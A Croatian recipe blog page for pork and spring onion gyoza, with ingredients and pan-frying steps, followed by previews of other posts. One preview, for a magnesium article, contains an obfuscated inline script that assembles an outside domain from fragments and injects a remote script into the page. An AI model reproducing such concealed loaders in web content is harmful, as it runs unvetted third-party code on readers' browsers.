GYOZE SA SVINJETINOM I MLADIM LUKOM





Gyoze sa svinjetinom i mladim lukom 



Japanske Gyoze već godinama su jedan od najpopularnijih specijaliteta azijske kuhinje širom svijeta. Ovi mali zalogaji poznati su po savršenom kontrastu tekstura. Donja strana postaje zlatna i hrskava za vrijeme prženja, dok unutrašnjost ostaje mekana, sočna i puna okusa zahvaljujući aromatičnom punjenju od mesa i povrća.

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>


Gyoze sa svinjetinom i mladim lukom 


Sastojci za 50 gyoza:

  • 175 g mljevene svinjetine

  • 150 g kupusa

  • 30 g nira (japanski vlasac)

  • 1 veliki ili 2 manja poriluka (oko 65 g)

  • 2 žlice soja sosa

  • 2 žlice tostiranog sezamovog ulja

  • 1 žličica temeljca

  • 1 žličica naribanog đumbira

  • 1 žličica sitno nasjeckanog češnjaka

  • 1 žličica šećera

  • sol i papar po ukusu

  • malo brašna i vode

  • 50 gyoza korica

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>



Priprema:

1. Priprema nadjeva
Kupus, vlasac i poriluk sitno nasjeckajte, pa ih stavite u veliku zdjelu zajedno s mljevenom svinjetinom.

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"

     crossorigin="anonymous"></script>

2. Začinjavanje
Dodajte soja sos, sezamovo ulje, temeljac, đumbir, češnjak i šećer, pa posolite i popaprite po ukusu. Sve dobro izmiješajte dok se smjesa potpuno ne sjedini.

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"

     crossorigin="anonymous"></script>

3. Punjenje gyoza
Na sredinu svake korice stavite oko jednu žličicu nadjeva. Pazite da ne pretjerate s količinom kako bi se korice mogle zatvoriti.

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"

     crossorigin="anonymous"></script>

4. Oblikovanje
Pomiješajte malo brašna i vode dok ne dobijete gustu, ljepljivu pastu. Nanesite je duž jednog ruba korice, preklopite i formirajte nekoliko karakterističnih nabora, pritiščući rubove da se dobro zalijepe.

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"

     crossorigin="anonymous"></script>

5. Zamrzavanje (po želji)
Ako ih ne pripremate odmah, gyoze možete zamrznuti. Poredajte ih u jednom redu na pladanj, a kada se zamrznu prebacite ih u vrećicu sa zatvaračem.

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"

     crossorigin="anonymous"></script>

6. Priprema u tavi
U tavi zagrijte malo ulja na srednjoj temperaturi i poredajte gyoze ravnom stranom prema dolje. Pržite ih 1–2 minute dok ne dobiju zlatnu boju. Zatim dodajte 2-3 žlice vode, poklopite tavu i ostavite da se nekoliko minuta kuhaju na pari.


<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"

     crossorigin="anonymous"></script>


Gyoze sa svinjetinom i mladim lukom



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više